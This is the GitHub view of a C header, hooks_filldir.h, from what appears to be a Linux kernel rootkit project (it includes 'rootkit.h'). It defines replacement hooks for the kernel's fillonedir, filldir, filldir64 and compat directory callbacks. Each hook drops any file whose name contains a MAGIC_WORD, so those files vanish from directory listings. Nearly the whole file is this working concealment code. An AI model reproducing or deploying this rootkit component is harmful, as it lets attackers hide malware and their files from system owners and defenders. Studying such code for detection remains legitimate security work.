-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathhooks_filldir.h
More file actions
107 lines (77 loc) · 2.98 KB
/
Copy pathhooks_filldir.h
File metadata and controls
107 lines (77 loc) · 2.98 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#pragma once
#include "rootkit.h"
//include <fs/readdir.c>
struct readdir_callback {
struct dir_context ctx;
struct old_linux_dirent __user * dirent;
int result;
};
extern char* MAGIC_WORD;
static bool (*orig_fillonedir)(struct dir_context *ctx,
const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type);
static bool hook_fillonedir(struct dir_context *ctx,
const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) {
struct readdir_callback *buf =
container_of(ctx, struct readdir_callback, ctx);
if (strstr(name, MAGIC_WORD)){
buf->result = -ENOENT;
//printk(KERN_DEBUG "filldir64 hiding %s\n", name);
return false;
}
return orig_fillonedir(ctx, name, namlen, offset, ino, d_type);
}
static bool (*orig_filldir)(struct dir_context *ctx, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type);
static bool hook_filldir(struct dir_context *ctx, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type) {
struct readdir_callback *buf =
container_of(ctx, struct readdir_callback, ctx);
if (strstr(name, MAGIC_WORD)){
buf->result = -ENOENT;
//printk(KERN_DEBUG "filldir64 hiding %s\n", name);
return false;
}
return orig_filldir(ctx, name, namlen, offset, ino, d_type);
}
static bool (*orig_filldir64)(struct dir_context *ctx, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type);
static bool hook_filldir64(struct dir_context *ctx, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type) {
struct readdir_callback *buf =
container_of(ctx, struct readdir_callback, ctx);
if (strstr(name, MAGIC_WORD)){
buf->result = -ENOENT;
//printk(KERN_DEBUG "filldir64 hiding %s\n", name);
return false;
}
return orig_filldir64(ctx, name, namlen, offset, ino, d_type);
}
static bool (*orig_compat_fillonedir)(struct dir_context *ctx, const char *name,
int namlen, loff_t offset, u64 ino,
unsigned int d_type);
static bool hook_compat_fillonedir(struct dir_context *ctx, const char *name,
int namlen, loff_t offset, u64 ino,
unsigned int d_type) {
struct readdir_callback *buf =
container_of(ctx, struct readdir_callback, ctx);
if (strstr(name, MAGIC_WORD)){
buf->result = -ENOENT;
//printk(KERN_DEBUG "filldir64 hiding %s\n", name);
return false;
}
return orig_compat_fillonedir(ctx, name, namlen, offset, ino, d_type);
}
static bool (*orig_compat_filldir)(struct dir_context *ctx, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type);
static bool hook_compat_filldir(struct dir_context *ctx, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type) {
struct readdir_callback *buf =
container_of(ctx, struct readdir_callback, ctx);
if (strstr(name, MAGIC_WORD)){
buf->result = -ENOENT;
//printk(KERN_DEBUG "filldir64 hiding %s\n", name);
return false;
}
return orig_compat_filldir(ctx, name, namlen, offset, ino, d_type);
}
// there is no compat_filldir64 in 6.5